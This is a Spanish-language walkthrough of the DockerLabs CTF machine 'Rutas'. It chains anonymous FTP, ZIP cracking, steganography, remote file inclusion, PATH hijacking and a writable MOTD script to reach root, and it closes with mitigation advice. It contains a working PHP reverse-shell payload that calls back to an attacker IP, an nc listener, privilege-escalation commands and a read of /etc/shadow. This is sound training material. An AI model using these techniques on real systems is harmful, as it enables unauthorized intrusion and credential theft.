Rutas
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la metodología y procedimiento completo para comprometer la máquina Rutas, desarrollada por firstatack para DockerLabs y clasificada con dificultad Media. Esta máquina presenta un escenario multifacético donde múltiples técnicas de explotación se encadenan para lograr acceso completo al sistema.
La resolución sigue una metodología estructurada:
- Reconocimiento: Enumeración de servicios y descubrimiento de archivos mediante FTP anónimo.
- Explotación: Análisis de esteganografía, bypass de autenticación y explotación de Remote File Inclusion (RFI).
- Escalada de privilegios: Abuso de PATH hijacking, decodificación de credenciales y manipulación de archivos de motd.
El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando vulnerabilidades reales en múltiples capas de seguridad.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Rutas |
| Autor | firstatack |
| Dificultad | Medio |
| Fecha | 25/06/2025 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Fase 1 — Despliegue y Configuración
Sección titulada «Fase 1 — Despliegue y Configuración»1.1 Preparación del Entorno
Sección titulada «1.1 Preparación del Entorno»Descomprimimos el archivo de la máquina y la desplegamos:
unzip Rutas.zipsudo bash auto_deploy.sh Rutas.tar
Figura 1: Dirección IP asignada al contenedor
1.2 Organización del Workspace
Sección titulada «1.2 Organización del Workspace»Creamos una estructura organizada para documentar el proceso:
mkdir -p Rutas/{content,exploits,nmap,gobuster,scripts}cd RutasFase 2 — Reconocimiento
Sección titulada «Fase 2 — Reconocimiento»2.1 Escaneo de Puertos
Sección titulada «2.1 Escaneo de Puertos»Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsResultados:
- 21/tcp — FTP (File Transfer Protocol)
- 22/tcp — SSH (Secure Shell)
- 80/tcp — HTTP (Web Server)

Figura 2: Servicios expuestos en la máquina
2.2 Análisis del Servicio FTP
Sección titulada «2.2 Análisis del Servicio FTP»Realizamos un escaneo detallado del servicio FTP:
nmap -sCV -p21 172.17.0.2
Figura 3: Servicio FTP con autenticación anónima habilitada
Hallazgos importantes:
- FTP anónimo habilitado (
ftp-anon: Anonymous FTP login allowed) - Usuario:
anonymoussin contraseña requerida - Servidor:
vsftpd 3.0.5
2.3 Acceso y Enumeración FTP
Sección titulada «2.3 Acceso y Enumeración FTP»Accedemos al servicio FTP anónimo:
ftp 172.17.0.2# Usuario: anonymous# Contraseña: [cualquier valor o en blanco]Archivos descubiertos:
hola_disfruta— Archivo vacíorespeta.zip— Archivo ZIP protegido con contraseña
Descargamos el archivo ZIP:
get respeta.zipbye2.4 Análisis del Servicio Web
Sección titulada «2.4 Análisis del Servicio Web»Realizamos un escaneo de directorios en el puerto 80:
feroxbuster -u http://172.17.0.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404
Figura 4: Resultados del escaneo en puerto 80
2.5 Enumeración de Contenido Web
Sección titulada «2.5 Enumeración de Contenido Web»-
/index.html — Página principal por defecto de Apache
Ventana de terminal curl -s http://172.17.0.2/ -
/index.php — Aplicación web con dominio personalizado
Ventana de terminal curl -s http://172.17.0.2/index.php | grep -o 'trackedvuln\.dl'Hallazgo: La aplicación referencia el dominio
trackedvuln.dl
2.6 Configuración de DNS Local
Sección titulada «2.6 Configuración de DNS Local»Agregamos el dominio descubierto al archivo /etc/hosts:
echo "172.17.0.2 trackedvuln.dl" | sudo tee -a /etc/hostsAl acceder a http://trackedvuln.dl, encontramos un pop-up de autenticación HTTP Basic.
Fase 3 — Explotación
Sección titulada «Fase 3 — Explotación»3.1 Crackeo del Archivo ZIP
Sección titulada «3.1 Crackeo del Archivo ZIP»Extraemos el hash del archivo ZIP y realizamos fuerza bruta:
# Extraemos hashzip2john respeta.zip > zip_hash.txt
# Ataque de fuerza brutajohn --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
Figura 5: Contraseña del ZIP crackeada
Contraseña obtenida: iloveyou
3.2 Extracción y Análisis del Contenido
Sección titulada «3.2 Extracción y Análisis del Contenido»Descomprimimos el archivo con la contraseña obtenida:
unzip -P 'iloveyou' respeta.zipArchivo extraído: oculto.txt

Figura 6: Instrucciones sobre imagen oculta
3.3 Descarga y Análisis de Imagen
Sección titulada «3.3 Descarga y Análisis de Imagen»Seguimos las instrucciones y descargamos la imagen:
wget https://firstack.github.io/assets/crackpass.jpgRealizamos análisis de esteganografía:
# Verificamos metadatosexiftool crackpass.jpg
# Probamos steghidesteghide info crackpass.jpg
Figura 7: Archivo embebido detectado en la imagen
3.4 Extracción de Contenido Oculto
Sección titulada «3.4 Extracción de Contenido Oculto»Utilizamos stegseek para extraer el contenido:
stegseek crackpass.jpg /usr/share/wordlists/rockyou.txtArchivo extraído: pass

Figura 8: Credenciales en formato user:password
Credenciales obtenidas: norberto:b4ck1n4ct10n
3.5 Bypass de Autenticación Web
Sección titulada «3.5 Bypass de Autenticación Web»Utilizamos las credenciales para acceder al sitio web:
# Creamos credenciales base64echo -n 'norberto:b4ck1n4ct10n' | base64
# Probamos accesocurl -H "Authorization: Basic $(echo -n 'norberto:b4ck1n4ct10n' | base64)" \ http://trackedvuln.dl/3.6 Descubrimiento de Parámetro Vulnerable
Sección titulada «3.6 Descubrimiento de Parámetro Vulnerable»Realizamos fuzzing para descubrir parámetros:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \ -u "http://trackedvuln.dl/index.php?FUZZ=test" \ -H "Authorization: Basic $(echo -n 'norberto:b4ck1n4ct10n' | base64)" \ -fw 155
Figura 9: Parámetro love descubierto
3.7 Análisis del Comportamiento del Parámetro
Sección titulada «3.7 Análisis del Comportamiento del Parámetro»Probamos el parámetro descubierto:
curl -H "Authorization: Basic $(echo -n 'norberto:b4ck1n4ct10n' | base64)" \ "http://trackedvuln.dl/index.php?love=/etc/passwd"
Figura 10: El parámetro parece cargar contenido de archivos/URLs
Observación: El parámetro love carga contenido de manera similar a una inclusión de archivos.
3.8 Explotación de Remote File Inclusion (RFI)
Sección titulada «3.8 Explotación de Remote File Inclusion (RFI)»Creamos un archivo malicioso para obtener reverse shell:
<?php$ip = "172.17.0.1";$port = 443;$shell = "/bin/bash";
$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) { die("Error de conexión: $errstr ($errno)");}
$descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock);
$process = proc_open($shell, $descriptorspec, $pipes);proc_close($process);?>Iniciamos un servidor web local:
python3 -m http.server 803.9 Verificación de RFI
Sección titulada «3.9 Verificación de RFI»Probamos cargar nuestro servidor:
curl -H "Authorization: Basic $(echo -n 'norberto:b4ck1n4ct10n' | base64)" \ "http://trackedvuln.dl/index.php?love=http://172.17.0.1"
Figura 11: RFI exitoso - listado de directorio del atacante
3.10 Obtención de Shell Reversa
Sección titulada «3.10 Obtención de Shell Reversa»Iniciamos un listener y ejecutamos la reverse shell:
# En el atacante - listenernc -nlvp 443
# En el atacante - ejecutar RFIcurl -H "Authorization: Basic $(echo -n 'norberto:b4ck1n4ct10n' | base64)" \ "http://trackedvuln.dl/index.php?love=http://172.17.0.1/shell.php"
Figura 12: Shell como www-data obtenida mediante RFI
3.11 Normalización de la Shell
Sección titulada «3.11 Normalización de la Shell»python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xtermexport PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/binFase 4 — Escalada de Privilegios
Sección titulada «Fase 4 — Escalada de Privilegios»4.1 Enumeración del Sistema
Sección titulada «4.1 Enumeración del Sistema»Comenzamos la enumeración post-explotación:
whoami # www-dataidpwdls -la4.2 De www-data → norberto
Sección titulada «4.2 De www-data → norberto»4.2.1 Verificación de Privilegios Sudo
Sección titulada «4.2.1 Verificación de Privilegios Sudo»sudo -l
Figura 13: www-data puede ejecutar /usr/bin/baner como norberto
Hallazgo: (norberto) NOPASSWD: /usr/bin/baner
4.2.2 Análisis del Binario baner
Sección titulada «4.2.2 Análisis del Binario baner»# Examinamos el binariofile /usr/bin/banerstrings /usr/bin/baner | head -20Observación: El binario ejecuta comandos head con rutas relativas.
4.2.3 Explotación de PATH Hijacking
Sección titulada «4.2.3 Explotación de PATH Hijacking»El binario utiliza head sin ruta absoluta, permitiendo PATH hijacking:
# Creamos un archivo head maliciosoecho '/bin/bash' > /tmp/headchmod +x /tmp/head
# Modificamos PATH para priorizar /tmpexport PATH=/tmp:$PATH
# Ejecutamos baner como norbertosudo -u norberto /usr/bin/baner
Figura 14: Acceso como usuario norberto obtenido
4.3 De norberto → maria
Sección titulada «4.3 De norberto → maria»4.3.1 Enumeración como norberto
Sección titulada «4.3.1 Enumeración como norberto»whoamipwdls -la4.3.2 Descubrimiento de Credenciales Codificadas
Sección titulada «4.3.2 Descubrimiento de Credenciales Codificadas»Encontramos un archivo con credenciales codificadas:
cat .miscredenciales
Figura 15: Credenciales codificadas en Braille
4.3.3 Decodificación de Braille
Sección titulada «4.3.3 Decodificación de Braille»Identificamos que está codificado en Braille y utilizamos herramientas o tablas de conversión para decodificar:
Resultado decodificado: Credenciales SSH para norberto
4.3.4 Acceso SSH como norberto
Sección titulada «4.3.4 Acceso SSH como norberto»Nos conectamos por SSH utilizando las credenciales decodificadas:
ssh norberto@172.17.0.2Observación: Al conectarnos por SSH, obtenemos una shell con el UID de maria (debido a configuración de rbash o restricciones).
4.3.5 Enumeración en Contexto de maria
Sección titulada «4.3.5 Enumeración en Contexto de maria»id # Muestra uid=1001(maria) pero estamos en sesión SSH como norbertopwdls -la /home/maria/4.3.6 Descubrimiento de Credenciales de maria
Sección titulada «4.3.6 Descubrimiento de Credenciales de maria»Encontramos archivo con credenciales en el home de maria:
cat /home/maria/.pass
Figura 16: Contraseña de maria en texto plano
4.3.7 Acceso como maria
Sección titulada «4.3.7 Acceso como maria»su maria# Contraseña: [obtenida del archivo .pass]
Figura 17: Acceso como usuario maria
4.4 De maria → root
Sección titulada «4.4 De maria → root»4.4.1 Enumeración como maria
Sección titulada «4.4.1 Enumeración como maria»whoamisudo -lfind / -perm -4000 2>/dev/null4.4.2 Búsqueda de Archivos Escriturables
Sección titulada «4.4.2 Búsqueda de Archivos Escriturables»Buscamos archivos con permisos de escritura:
find / -writable 2>/dev/null | grep -v /proc/ | head -20
Figura 18: Archivo 00-header con permisos de escritura
4.4.3 Análisis del Archivo Vulnerable
Sección titulada «4.4.3 Análisis del Archivo Vulnerable»ls -la /etc/update-motd.d/00-headerfile /etc/update-motd.d/00-headercat /etc/update-motd.d/00-headerHallazgo: /etc/update-motd.d/00-header tiene permisos 777 y se ejecuta al conectar por SSH.
4.4.4 Modificación del Archivo MOTD
Sección titulada «4.4.4 Modificación del Archivo MOTD»Modificamos el archivo para otorgar privilegios SUID a bash:
echo 'chmod u+s /bin/bash' >> /etc/update-motd.d/00-headerchmod +x /etc/update-motd.d/00-header4.4.5 Trigger de la Ejecución
Sección titulada «4.4.5 Trigger de la Ejecución»Nos reconectamos por SSH para ejecutar el script modificado:
ssh maria@172.17.0.24.4.6 Obtención de Shell Root
Sección titulada «4.4.6 Obtención de Shell Root»Verificamos y utilizamos bash con bit SUID:
# Verificamos permisosls -la /bin/bash
# Ejecutamos bash con privilegios preservados/bin/bash -p
Figura 19: Acceso root obtenido
4.5 Verificación Final
Sección titulada «4.5 Verificación Final»idwhoamicat /etc/shadow | head -1Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»5.1 Fallos de Seguridad Identificados
Sección titulada «5.1 Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto | CWE/Referencia |
|---|---|---|---|
| FTP anónimo habilitado | Alta | Exposición de archivos sensibles | CWE-287 |
| Archivos ZIP con contraseñas débiles | Media | Acceso a información oculta | CWE-521 |
| Esteganografía sin protección adecuada | Media | Ocultamiento de credenciales | CWE-312 |
| Remote File Inclusion (RFI) | Crítica | Ejecución remota de código | CWE-98 |
| PATH hijacking en binarios sudo | Crítica | Escalada horizontal de privilegios | CWE-426 |
| Credenciales en texto plano/codificado débil | Alta | Compromiso de cuentas | CWE-312 |
| Archivos de MOTD con permisos excesivos | Crítica | Escalada vertical a root | CWE-732 |
| Reutilización de credenciales entre servicios | Media | Propagación de compromiso | CWE-308 |
5.2 Recomendaciones de Mitigación
Sección titulada «5.2 Recomendaciones de Mitigación»-
Configuración Segura de FTP:
- Deshabilitar acceso anónimo
- Implementar autenticación fuerte
- Utilizar FTPS o SFTP en lugar de FTP
/etc/vsftpd.conf anonymous_enable=NOlocal_enable=YESssl_enable=YES -
Protección de Archivos Confidenciales:
- Utilizar cifrado fuerte con contraseñas complejas
- Implementar gestión de secretos centralizada
- Evitar almacenar credenciales en texto plano
Ventana de terminal # Usar GPG con clave fuertegpg --symmetric --cipher-algo AES256 archivo.txt -
Prevención de RFI/LFI:
- Validar y sanitizar todas las entradas de usuario
- Implementar lista blanca de URLs/hosts permitidos
- Deshabilitar allow_url_include en PHP
// php.ini configurationallow_url_fopen = Offallow_url_include = Off -
Seguridad en Binarios y PATH:
- Usar rutas absolutas en scripts y binarios
- Validar y sanitizar variables de entorno
- Implementar el principio de mínimo privilegio
Ventana de terminal # INCORRECTOhead /etc/passwd# CORRECTO/usr/bin/head /etc/passwd -
Gestión de Archivos de Sistema:
- Aplicar permisos estrictos en /etc/update-motd.d/
- Implementar controles de integridad de archivos
- Monitorear modificaciones en archivos críticos
Ventana de terminal # Permisos correctos para motdchmod 755 /etc/update-motd.d/00-headerchown root:root /etc/update-motd.d/00-header -
Protección de Credenciales:
- Implementar autenticación multifactor
- Utilizar gestores de contraseñas seguros
- Rotar credenciales regularmente
- Auditar ubicaciones de almacenamiento de credenciales
-
Hardening del Sistema:
- Configurar SELinux/AppArmor
- Implementar logging y monitoreo centralizado
- Realizar auditorías de seguridad periódicas
- Mantener sistemas y aplicaciones actualizados
-
Concienciación y Capacitación:
- Capacitar en desarrollo seguro
- Establecer políticas de manejo de datos sensibles
- Realizar ejercicios de respuesta a incidentes
- Implementar programas de seguridad para desarrolladores